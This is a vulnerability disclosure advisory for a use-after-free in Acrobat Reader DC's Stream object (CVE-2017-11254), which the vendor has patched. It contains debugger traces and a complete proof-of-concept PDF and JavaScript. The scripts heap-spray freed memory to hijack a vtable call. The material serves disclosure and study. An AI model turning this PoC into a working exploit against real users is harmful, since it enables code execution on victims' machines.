

SSD Advisory – Acrobat Reader DC – Stream Object Remote Code Execution

blogs.securiteam.com/index.php/archives/3361

SSD / Maor Schwartz

August 9, 2017

Vulnerability Summary

The following advisory describes a use after free vulnerability that leads to remote code execution found in Acrobat Reader DC version 2017.009.20044.

Credit

A security researcher from, Siberas, has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response

The vendor has released patches to address this vulnerability.

For more information: <http://www.adobe.com/devnet-docs/acrobatetk/tools/ReleaseNotes/DC/dccontinuousaug2017.html#dccontinuousaugusttwentyseventeen>

CVE: CVE-2017-11254

Vulnerability details

Adobe Reader DC, are affected by a Use After Free vulnerability. The vulnerability occurs due to a Stream object being dereferenced after it has been destroyed. The re-use of the freed object directly leads to a controllable vtable call. By controlling the vtable we can execute arbitrary code in the sandboxed *AcroRd32.exe* process.

The vtable pointer is read from offset 0x18 of the freed object:

```

1  (2ae4.3b20): Access violation - code c0000005 (!!! second chance !!!)
2  eax=08981638 ebx=006fc6f8 ecx=deadc0c6 edx=00000016 esi=08a9aeb8 edi=08c7b628
3  eip=5f0ed95d esp=006fb6a8 ebp=006fb6ac iopl=0         nv up ei pl nz na po nc
4  cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
5  AcroRd32_5f080000+0x6d95d:
6  5f0ed95d ff5118      call  dword ptr [ecx+18h] ds:002b:deadc0de=?????????
7
8  0:000> dd eax-8
9  08d018e0 aaaaaaaaa aaaaaaaaa aaaaaaaaa aaaaaaaaa // we deref offset 0x18 of the Stream object
10 08d018f0 aaaaaaaaa aaaaaaaaa deadc0c6 eeeeeeee // at offset 0x18 we find 0xdeadc0c6
11 // 0xdeadc0c6 + 0x18 == 0xdeadc0de
12 08d01900 eeeeeeee eeeeeeee eeeeeeee eeeeeeee
13 08d01910 eeeeeeee eeeeeeee eeeeeeee eeeeeeee

```

The Javascript code which triggers the vulnerable code path is:

```
1  function somefunc(){
2
3  function obj1_read()
4  {
5  log("[obj1_read], get read property");
6  globarr.push(allocs(0x200, 0x88, basestring)); // [3]
7  return undefined;
8  }
9
10 function obj1_write()
11 {
12 log("[obj1_write], get write property");
13 return somefunc;
14 }
15
16 function obj2_read()
17 {
18 log("[obj2_read], get read property");
19 return undefined;
20 }
21
22 function obj2_write()
23 {
24 log("[obj2_write], get write property");
25 return somefunc;
26 }
27
28 obj1 = new Object(); // [1]
29 obj1.__defineGetter__("read", obj1_read);
30 obj1.__defineGetter__("write", obj1_write);
31 obj2 = new Object();
32 obj2.__defineGetter__("read", obj2_read);
33 obj2.__defineGetter__("write", obj2_write);
34
35 app.alert("crash @ 0xdeadc0de");
36 this.addAnnot( { "name" : obj1, "rect" : obj2, "type" : "Highlight"}); // [2]
```

At [1] we create two objects with defined getter-methods for the “read” and “write” properties. These two objects are passed as parameters to the native function “*this.addAnnot*” at [2].

During *addAnnot* the objects are checked for the “read” and “write” properties. If we return a valid function (in this case “*somefunc*”) for the “write” properties and “undefined” for the “read” properties, we trigger a Use-After-Free vulnerability.

Acrobat Reader DC initializes a temporary Stream object because the “write” property returns a valid function and destroys it immediately afterwards since “read” returns undefined. Due to the fact that a reference to the destroyed Stream object stays intact, we can reference the Stream object again after it has been freed.

There are further callbacks between the destruction and the re-use of the object which gives us the chance to re-allocate the freed buffer with controlled content (at [3]) and execute a controlled vtable call as soon as the Stream object is dereferenced again.

In order to debug the vulnerability, we will set the following breakpoints in Reader:

```

1 bp EScript+0x137ca3 ".printf \"log: %mu\\r\\n\\n\", poi(poi(poi(esp+c)+10)+4); g\" // log breakpoint
2 bp AcroRd32.dll+0x111351 ".printf \"created Stream object @ 0x%x\\r\\n\\n\", eax; g\" // Stream object constructor
3 bp AcroRd32.dll+0x116ABE ".printf \"destroy Stream object @ 0x%x\\r\\n\\n\", esi; g\" // Stream object destructor

```

Debugging poc.pdf with Windbg and the breakpoints from above will give you following output:

```

1 0:012> bp EScript+0x137ca3 ".printf \"log: %mu\\r\\n\\n\", poi(poi(poi(esp+c)+10)+4); g\"
2 0:012> bp AcroRd32.dll+0x111351 ".printf \"created Stream object @ 0x%x\\r\\n\\n\", eax; g\"
3 0:012> bp AcroRd32.dll+0x116ABE ".printf \"destroy Stream object @ 0x%x\\r\\n\\n\", esi; g\"
4
5 0:012> g
6 log: [obj1_read], get read property
7 log: [obj1_write], get write property
8 created Stream object @ 0x826fbb0
9 log: [obj2_read], get read property
10 log: [obj2_write], get write property
11 created Stream object @ 0x826f100 // [1]
12 log: [obj2_read], get read property
13 destroy Stream object @ 0x826f100 // [2]
14 log: [obj1_read], get read property
15 destroy Stream object @ 0x826fbb0
16
17 (3f44.20b0): Access violation - code c0000005 (first chance)
18 First chance exceptions are reported before any exception handling.
19 This exception may be expected and handled.
20 eax=09025940 ebx=00f0c8b0 ecx=deadc0c6 edx=00000016 esi=093094f8 edi=07666460
21 eip=5f5ed95d esp=00f0b860 ebp=00f0b864 iopl=0         nv up ei pl nz na po nc
22 cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
23 AcroRd32_5f580000!AcroWinMainSandbox+0x1e4d5:
24
25 5f5ed95d ff5118      call  dword ptr [ecx+18h] ds:002b:deadc0de=????????? [3]
26
27 0:000> dd eax-8
28 0826f100 aaaaaaaaa aaaaaaaaa aaaaaaaaa aaaaaaaaa
29 0826f110 aaaaaaaaa aaaaaaaaa deadc0c6 eeeeeeee
30 0826f120 eeeeeeee eeeeeeee eeeeeeee eeeeeeee
31 0826f130 eeeeeeee eeeeeeee eeeeeeee eeeeeeee

```

In the debug log we can identify the allocation [1], destruction [2] and re-use [3] of the Stream object and the controlled vtable call at address *0xdead0cde*.

Proof of Concept

PoC.pdf

```

1 %PDF-1.1
2
3
4 1 0 obj
5 <<
6 /Type /Catalog

```

```
7 /Outlines 2 0 R
8 /Pages 3 0 R
9 /OpenAction 7 0 R
10 >>
11 endobj
12
13 2 0 obj
14 <<
15 /Type /Outlines
16 /Count 0
17 >>
18 endobj
19
20 3 0 obj
21 <<
22 /Type /Pages
23 /Kids [4 0 R]
24 /Count 1
25 >>
26 endobj
27
28 4 0 obj
29 <<
30 /Type /Page
31 /Parent 3 0 R
32 /MediaBox [0 0 612 792]
33 /Contents 5 0 R
34 /Resources <<
35 /ProcSet [/PDF /Text]
36 /Font << /F1 6 0 R >>
37 >>
38 >>
39 endobj
40
41 5 0 obj
42 << /Length 56 >>
43 stream
44 BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
45 endstream
46 endobj
47
48 6 0 obj
49 <<
50 /Type /Font
51 /Subtype /Type1
52 /Name /F1
53 /BaseFont /Helvetica
54 /Encoding /MacRomanEncoding
55 >>
56 endobj
57
```

```
58 7 0 obj
59 <<
60 /Type /Action
61 /S /JavaScript
62 /JS (
63 console.show();
64 function log(s) {
65 console.println("-> " + s.toString());
66 Math.atan(s.toString());
67 }
68
69 function ptr2str(ptr)
70 {
71 /*
72 in: pointer
73 out: 2-char string which represents this pointer on the heap
74 */
75 p1 = (((ptr >> 24) >>> 0) & 0xff).toString(16);
76 if(p1.length == 1) p1 = "0" + p1;
77 p2 = ((ptr >> 16) & 0xff).toString(16);
78 if(p2.length == 1) p2 = "0" + p2;
79 p3 = ((ptr >> 8) & 0xff).toString(16);
80 if(p3.length == 1) p3 = "0" + p3;
81 p4 = (ptr & 0xff).toString(16);
82 if(p4.length == 1) p4 = "0" + p4;
83 return eval("unescape('%u' + p3+p4 + '%u' + p1+p2 + '')");
84 }
85
86 basestring =
87 unescape("%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa")
88 + ptr2str(0xdead0de - 0x18);
89 while(basestring.length < 0x100) basestring += unescape("%ueeee");
90
91 function allocs(count, size, basestring)
92 {
93 arr = [];
94 for(var i=0; i < count; i++) arr.push(basestring.substr(0, (size - 2) / 2).toUpperCase());
95 return arr;
96 }
97
98 globarr = [];
99
100 function somefunc(){
101
102 function obj1_read()
103 {
104 log("[obj1_read], get read property");
105 globarr.push(allocs(0x200, 0x88, basestring));
106 return undefined;
107 }
108
```

```
109 function obj1_write()
110 {
111 log("[obj1_write], get write property");
112 return somefunc;
113 }
114
115 function obj2_read()
116 {
117 log("[obj2_read], get read property");
118 return undefined;
119 }
120
121 function obj2_write()
122 {
123 log("[obj2_write], get write property");
124 return somefunc;
125 }
126
127 obj1 = new Object();
128 obj1.__defineGetter__("read", obj1_read);
129 obj1.__defineGetter__("write", obj1_write);
130 obj2 = new Object();
131 obj2.__defineGetter__("read", obj2_read);
132 obj2.__defineGetter__("write", obj2_write);
133
134 app.alert("crash @ 0xdeadc0de");
135 this.addAnnot( { "name" : obj1, "rect" : obj2, "type" : "Highlight"});
136 app.alert("no crash!");
137
138 )
139 >>
140 endobj
141
142 xref
143 0 8
144 0000000000 65535 f
145 0000000012 00000 n
146 0000000109 00000 n
147 0000000165 00000 n
148 0000000234 00000 n
149 0000000412 00000 n
150 0000000526 00000 n
151 0000000650 00000 n
152 trailer
153 <<
154 /Size 8
155 /Root 1 0 R
156 >>
157 startxref
2504
%%EOF
```

PoC.js

```
1  console.show();
2  function log(s) {
3  console.println("-> " + s.toString());
4  Math.atan(s.toString());
5  }
6
7  function ptr2str(ptr)
8  {
9  /*
10 in: pointer
11 out: 2-char string which represents this pointer on the heap
12 */
13 p1 = (((ptr >> 24) >>> 0) & 0xff).toString(16);
14 if(p1.length == 1) p1 = "0" + p1;
15 p2 = ((ptr >> 16) & 0xff).toString(16);
16 if(p2.length == 1) p2 = "0" + p2;
17 p3 = ((ptr >> 8) & 0xff).toString(16);
18 if(p3.length == 1) p3 = "0" + p3;
19 p4 = (ptr & 0xff).toString(16);
20 if(p4.length == 1) p4 = "0" + p4;
21 return eval("unescape('%u' + p3+p4 + '%u' + p1+p2 + '')");
22 }
23
24 basestring =
25 unescape("%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa")
26 + ptr2str(0xdead0de - 0x18);
27 while(basestring.length < 0x100) basestring += unescape("%ueeee");
28
29 function allocs(count, size, basestring)
30 {
31 arr = [];
32 for(var i=0; i < count; i++) arr.push(basestring.substr(0, (size - 2) / 2).toUpperCase());
33 return arr;
34 }
35
36 globarr = [];
37
38 function somefunc(){
39
40 function obj1_read()
41 {
42 log("[obj1_read], get read property");
43 globarr.push(allocs(0x200, 0x88, basestring));
44 return undefined;
45 }
46
47 function obj1_write()
48 {
49 log("[obj1_write], get write property");
```

```
50 return somefunc;
51 }
52
53 function obj2_read()
54 {
55 log("[obj2_read], get read property");
56 return undefined;
57 }
58
59 function obj2_write()
60 {
61 log("[obj2_write], get write property");
62 return somefunc;
63 }
64
65 obj1 = new Object();
66 obj1.__defineGetter__("read", obj1_read);
67 obj1.__defineGetter__("write", obj1_write);
68 obj2 = new Object();
69 obj2.__defineGetter__("read", obj2_read);
70 obj2.__defineGetter__("write", obj2_write);
71
72 app.alert("crash @ 0xdeadc0de");
   this.addAnnot( { "name" : obj1, "rect" : obj2, "type" : "Highlight"});
   app.alert("no crash!");
```
